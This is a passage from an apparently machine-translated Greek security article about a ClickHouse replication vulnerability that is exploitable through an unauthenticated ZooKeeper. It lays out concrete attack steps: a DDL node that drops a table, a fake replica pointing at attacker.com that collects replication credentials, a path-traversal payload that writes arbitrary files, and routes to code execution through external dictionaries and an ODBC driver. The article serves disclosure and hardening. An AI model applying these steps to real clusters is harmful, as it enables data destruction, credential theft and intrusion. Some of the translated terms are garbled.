Γιατί πρέπει να κρατάτε κλειστά τα κλουβιά του ζωολογικού κήπου;

Γιατί πρέπει να κρατάτε κλειστά τα κλουβιά του ζωολογικού κήπου;

Αυτό το άρθρο θα πει την ιστορία μιας πολύ συγκεκριμένης ευπάθειας στο πρωτόκολλο αναπαραγωγής ClickHouse και θα δείξει επίσης πώς μπορεί να επεκταθεί η επιφάνεια επίθεσης.

Το ClickHouse είναι μια βάση δεδομένων για την αποθήκευση μεγάλων όγκων δεδομένων, τις περισσότερες φορές χρησιμοποιώντας περισσότερα από ένα αντίγραφα. Η ομαδοποίηση και η αναπαραγωγή στο ClickHouse είναι χτισμένα στην κορυφή Apache ZooKeeper (ZK) και απαιτούν δικαιώματα εγγραφής.

Η προεπιλεγμένη εγκατάσταση ZK δεν απαιτεί έλεγχο ταυτότητας, επομένως χιλιάδες διακομιστές ZK που χρησιμοποιούνται για τη διαμόρφωση των παραμέτρων των Kafka, Hadoop, ClickHouse είναι δημόσια διαθέσιμοι.

Για να μειώσετε την επιφάνεια επίθεσης, θα πρέπει πάντα να διαμορφώνετε τον έλεγχο ταυτότητας και την εξουσιοδότηση κατά την εγκατάσταση του ZooKeeper

Υπάρχουν φυσικά κάποιες αποσειριοποιήσεις Java που βασίζονται σε 0 ημέρες, αλλά φανταστείτε ότι ένας εισβολέας θα μπορούσε να διαβάζει και να γράφει στο ZooKeeper, που χρησιμοποιείται για την αναπαραγωγή του ClickHouse.

Όταν ρυθμίζεται σε λειτουργία συμπλέγματος, το ClickHouse υποστηρίζει κατανεμημένα ερωτήματα DDL, περνώντας από το ZK - για αυτούς δημιουργούνται κόμβοι στο φύλλο /clickhouse/task_queue/ddl.

Για παράδειγμα, δημιουργείτε έναν κόμβο /clickhouse/task_queue/ddl/query-0001 με περιεχόμενο:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

και μετά από αυτό, ο πίνακας δοκιμής θα διαγραφεί στους διακομιστές συμπλέγματος host1 και host2. Το DDL υποστηρίζει επίσης την εκτέλεση ερωτημάτων CREATE/ALTER/DROP.

Ακούγεται τρομακτικό; Αλλά πού μπορεί ένας εισβολέας να πάρει διευθύνσεις διακομιστή;

Αναπαραγωγή ClickHouse λειτουργεί σε επίπεδο μεμονωμένων πινάκων, έτσι ώστε όταν δημιουργείται ένας πίνακας στο ZK, να καθορίζεται ένας διακομιστής που θα είναι υπεύθυνος για την ανταλλαγή μεταδεδομένων με αντίγραφα. Για παράδειγμα, κατά την εκτέλεση μιας αίτησης (το ZK πρέπει να διαμορφωθεί, chXX - όνομα του αντιγράφου, foobar - όνομα πίνακα):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

θα δημιουργηθούν κόμβοι στήλες и μεταδεδομένα.

Περιεχόμενο /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Είναι δυνατή η συγχώνευση δεδομένων από αυτό το σύμπλεγμα; Ναι, εάν η θύρα αναπαραγωγής (TCP/9009) στον διακομιστή chXX-address το τείχος προστασίας δεν θα κλείσει και ο έλεγχος ταυτότητας για αναπαραγωγή δεν θα ρυθμιστεί. Πώς να παρακάμψετε τον έλεγχο ταυτότητας;

Ένας εισβολέας μπορεί να δημιουργήσει ένα νέο αντίγραφο στο ZK απλά αντιγράφοντας τα περιεχόμενα από /clickhouse/tables/01-01/foobar/replicas/chXX και αλλάζοντας το νόημα host.

Περιεχόμενο /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Στη συνέχεια, πρέπει να πείτε στα άλλα αντίγραφα ότι υπάρχει ένα νέο μπλοκ δεδομένων στον διακομιστή του εισβολέα που πρέπει να λάβουν - δημιουργείται ένας κόμβος στο ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (ΧΧ μονότονα αυξανόμενος μετρητής, ο οποίος θα πρέπει να είναι μεγαλύτερος από τον τελευταίο στο αρχείο καταγραφής συμβάντων):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

όπου πηγή_αντίγραφο — το όνομα του αντιγράφου του εισβολέα που δημιουργήθηκε στο προηγούμενο βήμα, block_id — αναγνωριστικό μπλοκ δεδομένων, παίρνω - εντολή "get block" (και εδώ υπάρχουν εντολές για άλλες λειτουργίες).

Στη συνέχεια, κάθε αντίγραφο διαβάζει ένα νέο συμβάν στο αρχείο καταγραφής και πηγαίνει σε έναν διακομιστή που ελέγχεται από τον εισβολέα για να λάβει ένα μπλοκ δεδομένων (το πρωτόκολλο αναπαραγωγής είναι δυαδικό, τρέχει πάνω από το HTTP). Υπηρέτης attacker.com θα λάβει αιτήματα:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

όπου XXX είναι τα δεδομένα ελέγχου ταυτότητας για αναπαραγωγή. Σε ορισμένες περιπτώσεις, αυτός μπορεί να είναι ένας λογαριασμός με πρόσβαση στη βάση δεδομένων μέσω του κύριου πρωτοκόλλου ClickHouse και του πρωτοκόλλου HTTP. Όπως είδατε, η επιφάνεια επίθεσης γίνεται εξαιρετικά μεγάλη επειδή το ZooKeeper, που χρησιμοποιήθηκε για αναπαραγωγή, έμεινε χωρίς ρύθμιση παραμέτρων ελέγχου ταυτότητας.

Ας δούμε τη λειτουργία λήψης ενός μπλοκ δεδομένων από ένα αντίγραφο, είναι γραμμένο με πλήρη σιγουριά ότι όλα τα αντίγραφα είναι υπό τον κατάλληλο έλεγχο και υπάρχει εμπιστοσύνη μεταξύ τους.

Γιατί πρέπει να κρατάτε κλειστά τα κλουβιά του ζωολογικού κήπου;
κώδικας επεξεργασίας αναπαραγωγής

Η συνάρτηση διαβάζει μια λίστα αρχείων, μετά τα ονόματά τους, τα μεγέθη, τα περιεχόμενά τους και στη συνέχεια τα γράφει στο σύστημα αρχείων. Αξίζει να περιγράψουμε χωριστά πώς αποθηκεύονται τα δεδομένα στο σύστημα αρχείων.

Υπάρχουν αρκετοί υποκατάλογοι σε /var/lib/clickhouse (προεπιλεγμένος κατάλογος αποθήκευσης από το αρχείο διαμόρφωσης):

σημαίες - κατάλογος για εγγραφή σημαίες, χρησιμοποιείται στην ανάκτηση μετά από απώλεια δεδομένων.
tmp — κατάλογος για την αποθήκευση προσωρινών αρχείων.
user_files — οι λειτουργίες με αρχεία σε αιτήματα περιορίζονται σε αυτόν τον κατάλογο (INTO OUTFILE και άλλοι).
μεταδεδομένα — αρχεία sql με περιγραφές πινάκων.
preprocessed_configs - Επεξεργασμένα αρχεία ρυθμίσεων παραγώγων από /etc/clickhouse-server;
ημερομηνία - ο πραγματικός κατάλογος με τα ίδια τα δεδομένα, σε αυτήν την περίπτωση για κάθε βάση δεδομένων δημιουργείται απλώς ένας ξεχωριστός υποκατάλογος εδώ (για παράδειγμα /var/lib/clickhouse/data/default).

Για κάθε πίνακα, δημιουργείται ένας υποκατάλογος στον κατάλογο της βάσης δεδομένων. Κάθε στήλη είναι ένα ξεχωριστό αρχείο ανάλογα με μορφή κινητήρα. Για παράδειγμα για ένα τραπέζι foobarπου δημιουργήθηκε από έναν εισβολέα, θα δημιουργηθούν τα ακόλουθα αρχεία:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Το αντίγραφο αναμένει να λάβει αρχεία με τα ίδια ονόματα κατά την επεξεργασία ενός μπλοκ δεδομένων και δεν τα επικυρώνει με κανέναν τρόπο.

Ο προσεκτικός αναγνώστης πιθανότατα έχει ήδη ακούσει για την μη ασφαλή συνένωση του ονόματος αρχείου σε μια συνάρτηση WriteBufferFromFile. Ναι, αυτό επιτρέπει σε έναν εισβολέα να γράψει αυθαίρετο περιεχόμενο σε οποιοδήποτε αρχείο στο FS με δικαιώματα χρήστη clickhouse. Για να γίνει αυτό, το αντίγραφο που ελέγχεται από τον εισβολέα πρέπει να επιστρέψει την ακόλουθη απάντηση στο αίτημα (προστέθηκαν αλλαγές γραμμής για ευκολία κατανόησης):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

και μετά τη συνένωση ../../../../../../../../../tmp/pwned το αρχείο θα γραφτεί /tmp/pwned με περιεχόμενο hellofromzookeeper.

Υπάρχουν πολλές επιλογές για τη μετατροπή της δυνατότητας εγγραφής αρχείων σε απομακρυσμένη εκτέλεση κώδικα (RCE).

Εξωτερικά λεξικά σε RCE

Σε παλαιότερες εκδόσεις, ο κατάλογος με τις ρυθμίσεις του ClickHouse αποθηκεύτηκε με δικαιώματα χρήστη clickhouse Προκαθορισμένο. Τα αρχεία ρυθμίσεων είναι αρχεία XML που διαβάζει η υπηρεσία κατά την εκκίνηση και στη συνέχεια αποθηκεύει προσωρινά /var/lib/clickhouse/preprocessed_configs. Όταν συμβαίνουν αλλαγές, διαβάζονται ξανά. Εάν έχετε πρόσβαση σε /etc/clickhouse-server ένας εισβολέας μπορεί να δημιουργήσει το δικό του εξωτερικό λεξικό εκτελέσιμο τύπο και στη συνέχεια εκτελέστε αυθαίρετο κώδικα. Οι τρέχουσες εκδόσεις του ClickHouse δεν παρέχουν δικαιώματα από προεπιλογή, αλλά εάν ο διακομιστής ενημερωνόταν σταδιακά, αυτά τα δικαιώματα θα μπορούσαν να παραμείνουν. Εάν υποστηρίζετε ένα σύμπλεγμα ClickHouse, ελέγξτε τα δικαιώματα στον κατάλογο ρυθμίσεων, πρέπει να ανήκει στον χρήστη root.

ODBC σε RCE

Κατά την εγκατάσταση ενός πακέτου, δημιουργείται ένας χρήστης clickhouse, αλλά ο αρχικός του κατάλογος δεν έχει δημιουργηθεί /nonexistent. Ωστόσο, όταν χρησιμοποιείτε εξωτερικά λεξικά ή για άλλους λόγους, οι διαχειριστές δημιουργούν έναν κατάλογο /nonexistent και δώστε στον χρήστη clickhouse πρόσβαση για εγγραφή σε αυτό (SSZB! περίπου. μεταφράστης).

Το ClickHouse υποστηρίζει ODBC και μπορεί να συνδεθεί με άλλες βάσεις δεδομένων. Στο ODBC, μπορείτε να καθορίσετε τη διαδρομή προς τη βιβλιοθήκη προγραμμάτων οδήγησης της βάσης δεδομένων (.so). Οι παλαιότερες εκδόσεις του ClickHouse σάς επέτρεπαν να το κάνετε αυτό απευθείας στο πρόγραμμα χειρισμού αιτημάτων, αλλά τώρα έχει προστεθεί ένας πιο αυστηρός έλεγχος της συμβολοσειράς σύνδεσης odbc-bridge, επομένως δεν είναι πλέον δυνατός ο καθορισμός της διαδρομής του προγράμματος οδήγησης από το αίτημα. Μπορεί όμως ένας εισβολέας να γράψει στον αρχικό κατάλογο χρησιμοποιώντας την ευπάθεια που περιγράφεται παραπάνω;

Ας δημιουργήσουμε ένα αρχείο ~/.odbc.ini με περιεχόμενο σαν αυτό:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

στη συνέχεια κατά την εκκίνηση SELECT * FROM odbc('DSN=lalala', 'test', 'test'); η βιβλιοθήκη θα φορτωθεί test.so και έλαβε RCE (ευχαριστώ μπουγκλόκ για το φιλοδώρημα).

Αυτά και άλλα τρωτά σημεία έχουν διορθωθεί στην έκδοση 19.14.3 του ClickHouse. Φροντίστε το ClickHouse και τους ZooKeepers σας!

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο